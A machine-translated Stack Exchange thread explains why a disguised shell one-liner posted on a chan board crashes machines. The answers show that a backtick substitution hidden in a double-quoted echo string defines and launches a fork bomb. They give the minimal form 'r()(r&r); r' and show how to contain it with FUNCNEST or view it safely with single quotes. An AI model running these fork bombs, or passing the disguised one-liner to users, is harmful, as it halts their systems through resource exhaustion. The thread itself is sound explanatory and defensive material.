这串文本如何以及为什么是一个分叉炸弹?

Kar*_*aru 145 encoding shell malware forking

在随机 chan 板上找到:

echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
Run Code Online (Sandbox Code Playgroud)

以某种方式运行这会导致无限生成过程,该过程猖獗并使机器停止。我看到一些关于“su”的东西试图被多次执行。

..这很奇怪,因为我只希望输出文本,而不是执行任何内容。

通过在线解码器运行此文本只会给我一批二进制输出:

解码结果

这些乱七八糟的文字究竟在做什么,有没有办法“安全”地查看它?

Joh*_*024 210

首先,让我们看一下整个命令:

echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
Run Code Online (Sandbox Code Playgroud)

它包含一个双引号字符串,该字符串被回显到uudecode. 但是,请注意,双引号字符串中是反引号字符串。该字符串被执行。字符串是:

`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`
Run Code Online (Sandbox Code Playgroud)

如果我们查看其中的内容,我们会看到三个命令:

rYWdl &
r()(Y29j & r{,3Rl7Ig} & r{,T31wo})
r
Run Code Online (Sandbox Code Playgroud)

在中间命令上执行大括号扩展,我们有:

rYWdl &
r()(Y29j & r r3Rl7Ig & r rT31wo)
r
Run Code Online (Sandbox Code Playgroud)

第一行尝试在后台运行一个无意义的命令。这不重要。

第二行很重要:它定义了一个函数r,该函数在运行时会启动自身的两个副本。当然,这些副本中的每一个都会再推出两个副本。等等。

第三行运行r,开始分叉炸弹。

其余的代码,在反引号字符串之外,对于混淆来说只是无稽之谈。

如何安全地运行命令

如果我们对函数嵌套级别设置限制,则此代码可以安全运行。这可以通过 bash 的FUNCNEST变量来完成。在这里,我们将其设置为2并停止递归:

$ export FUNCNEST=2
$ echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
bash: rYWdl: command not found
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
uudecode fatal error:
standard input: Invalid or missing 'begin' line
Run Code Online (Sandbox Code Playgroud)

上面的错误消息表明 (a)没有找到无意义的命令rYWdlY29j,(b) 叉炸弹被 FUNCNEST 反复阻止,以及 (c) 的输出echo不以 开头begin,因此对于uudecode.

最简单形式的叉形炸弹

如果我们移除遮挡物,叉形炸弹会是什么样子?正如 njzk2 和 gerrit 所建议的,它看起来像:

echo "`r()(r&r);r`"
Run Code Online (Sandbox Code Playgroud)

我们可以进一步简化:

r()(r&r); r
Run Code Online (Sandbox Code Playgroud)

它由两条语句组成:一条定义了 fork-bomb-function r,第二条定义了 run r

所有其他代码,包括到 的管道uudecode,都只是为了模糊和误导。

原来的形式还有一层误导

OP 提供了指向出现此代码的 chann 板讨论的链接。如此处所示,代码如下所示:

eval $(echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode)
Run Code Online (Sandbox Code Playgroud)

请注意有关此代码的第一个注释:

我爱上了它。只复制了回声和解码的部分,但仍然被叉子轰炸

在 chann 板上的表格中,人们会天真地认为问题在于eval对 的输出进行运算的语句uudecode。这会导致人们认为删除eval会解决问题。正如我们在上面看到的,这是错误的并且是危险的。

  • 我认为最好注意到 `uudecode` 在这里完全无关。有一段时间我认为 `uudecode` 正在执行反引号字符串插值,这会使它从根本上变得不安全,但是 fork 炸弹发生在 uudecode 开始之前。 (33认同)
  • ...和*这*,女士们,先生们,这就是为什么shell 脚本中的安全性如此之难。即使是看起来完全无害的东西也能杀死你。(想象一下,如果这是来自某个地方的用户输入......) (31认同)
  • @MathematicalOrchid 实际上,要使shell 脚本的用户输入中的反引号内容得到执行,实际上需要付出很大的努力。如果你正在_构造_来自用户输入的shell脚本,你应该知道最好不要把它放在双引号中。 (23认同)
  • 狡猾!我从没想过要在回显字符串的中间考虑 shell globbing/expansion。 (8认同)
  • @njzk2 你仍然需要一个 `&amp;`:`echo "\`r()(r&amp;r);r\`"`。 (5认同)
  • @Random832这取决于编写脚本的人有多少线索。:-/ 如果您只是开始使用 shell 脚本编写第一步……有很多很多方法可以让您自己动手。 (2认同)
  • 我不知道 shell 中的 back ticks 做了什么,找到了一个相关的链接:http://unix.stackexchange.com/a/27432 (2认同)
  • @MathematicalOrchid 我认为 Random832 的观点是反引号扩展不会递归发生。如果您执行 `echo $userinput`,并且输入包含反引号,则不会执行其中的代码。扩展变量时所做的唯一扩展是通配符和分词(如果将变量放在双引号中,这些将被抑制)。 (2认同)

ger*_*rit 11

要回答问题的第二部分:

...有没有办法“安全地”查看它?

要消除此字符串,请将外部双引号替换为单引号并转义字符串内部出现的单引号。像这样,shell 不会执行任何代码,您实际上是将所有内容直接传递给uudecode

$ echo 'I<RA('\''1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;=='
I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==
$ echo 'I<RA('\''1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==' | uudecode
uudecode fatal error:
standard input: Invalid or missing 'begin' line
Run Code Online (Sandbox Code Playgroud)

评论中指出了其他替代方案:

卡斯帕德建议

$ uudecode
I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==
[press <Ctrl>+D]
uudecode fatal error:
standard input: Invalid or missing 'begin' line
Run Code Online (Sandbox Code Playgroud)

Jacob Krall 建议使用文本编辑器,粘贴内容,然后将该文件传递给 uudecode。

  • 或者:在命令行中输入 `uudecode`。按回车键。复制粘贴要解码的字符串。 (6认同)
  • 另一种选择:使用文本编辑器将内容保存到文件中。用`uudecode`打开那个文件。 (3认同)

小智 7

乍一看,您可能认为shell 的输出永远不会被执行。这仍然真的。问题已经在输入中了。这里的主要技巧是程序员所说的运算符优先级。这是 shell 尝试处理输入的顺序:

1.       "                                                             "
2.                     rYWdl
3.                          &
4.                           r()(Y29j&r{,3Rl7Ig}&r{,T31wo})             
5.                                                         ;            
6.                                                          r           
7.                    `                                      `          
8.        I<RA('1E<W3t                                        26<F]F;== 
9.  echo                                                                
10.                                                                      |         
11.                                                                        uudecode
Run Code Online (Sandbox Code Playgroud)
  1. 通过执行其中的所有反引号命令来组成字符串。
  2. 通常是一个未知的命令,它会导致一些输出,如如果 'rYWdl' 不是一个错字,你可以使用 command-not-found 来查找包含它的包......(取决于系统)
  3. 2. 在后台执行。你永远不会看到输出。
  4. 定义分叉炸弹功能。
  5. 命令分隔符。
  6. 运行叉炸弹。
  7. 将 6. 的结果插入到字符串中。(我们从不来这里。)

错误是认为这echo将是要执行的第一个命令,uudecode第二个。他们两个永远都不会到达。

结论:双引号在 shell 上总是危险的。